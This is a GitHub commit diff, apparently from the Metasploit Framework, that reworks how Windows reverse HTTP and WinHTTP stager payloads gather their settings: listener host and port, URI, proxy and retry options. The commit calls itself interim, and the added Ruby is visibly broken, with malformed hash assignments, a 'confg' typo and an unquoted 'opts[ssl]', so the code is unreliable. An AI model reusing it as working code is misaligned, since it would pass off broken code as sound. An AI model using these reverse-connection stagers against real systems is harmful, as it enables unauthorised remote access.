Skip to content

Commit 4686691

Browse files
committed
Interim commit while juggling some other code
1 parent 0820bc5 commit 4686691

File tree

2 files changed

+24
-26
lines changed

2 files changed

+24
-26
lines changed

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 19 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,12 @@
88

99
module Msf
1010

11-
1211
###
1312
#
1413
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S)
1514
#
1615
###
1716

18-
1917
module Payload::Windows::ReverseHttp
2018

2119
include Msf::TransportConfig
@@ -29,8 +27,7 @@ module Payload::Windows::ReverseHttp
2927
#
3028
def initialize(*args)
3129
super
32-
register_advanced_options(
33-
[
30+
register_advanced_options([
3431
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
3532
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
3633
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
@@ -44,31 +41,27 @@ def initialize(*args)
4441
#
4542
# Generate the first stage
4643
#
47-
def generate
48-
# Generate the simple version of this stager if we don't have enough space
49-
if self.available_space.nil? || required_space > self.available_space
50-
return generate_reverse_http(
51-
ssl: false,
52-
host: datastore['LHOST'],
53-
port: datastore['LPORT'],
54-
url: generate_small_uri,
55-
retry_count: datastore['StagerRetryCount'])
56-
end
57-
44+
def generate(opts={})
5845
conf = {
59-
ssl: false,
60-
host: datastore['LHOST'],
61-
port: datastore['LPORT'],
62-
url: generate_uri,
63-
exitfunk: datastore['EXITFUNC'],
64-
proxy_host: datastore['PayloadProxyHost'],
65-
proxy_port: datastore['PayloadProxyPort'],
66-
proxy_user: datastore['PayloadProxyUser'],
67-
proxy_pass: datastore['PayloadProxyPass'],
68-
proxy_type: datastore['PayloadProxyType'],
69-
retry_count: datastore['StagerRetryCount']
46+
:ssl => opts[ssl] || false,
47+
:host => datastore['LHOST'],
48+
:port => datastore['LPORT'],
49+
:url => generate_small_uri,
50+
:retry_count => datastore['StagerRetryCount']
7051
}
7152

53+
# Add extra options if we have enough space
54+
unless self.available_space.nil? || required_space > self.available_space
55+
conf[:url => generate_uri,
56+
conf[:exitfunk => datastore['EXITFUNC'],
57+
conf[:proxy_host => datastore['PayloadProxyHost'],
58+
conf[:proxy_port => datastore['PayloadProxyPort'],
59+
conf[:proxy_user => datastore['PayloadProxyUser'],
60+
conf[:proxy_pass => datastore['PayloadProxyPass'],
61+
conf[:proxy_type => datastore['PayloadProxyType'],
62+
conf[:retry_count => datastore['StagerRetryCount']
63+
end
64+
7265
generate_reverse_http(conf)
7366
end
7467

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,11 @@ def generate(opts={})
3636
conf[:url] = generate_uri
3737
conf[:exitfunk] = datastore['EXITFUNC']
3838
conf[:verify_cert_hash] = opts[:verify_cert_hash]
39+
confg[:proxy_host] = datastore['PayloadProxyHost']
40+
confg[:proxy_user] = datastore['PayloadProxyUser']
41+
confg[:proxy_pass] = datastore['PayloadProxyPass']
42+
confg[:proxy_type] = datastore['PayloadProxyType']
43+
confg[:retry_count] = datastore['StagerRetryCount']
3944
end
4045

4146
generate_reverse_winhttp(conf)

0 commit comments

Comments
 (0)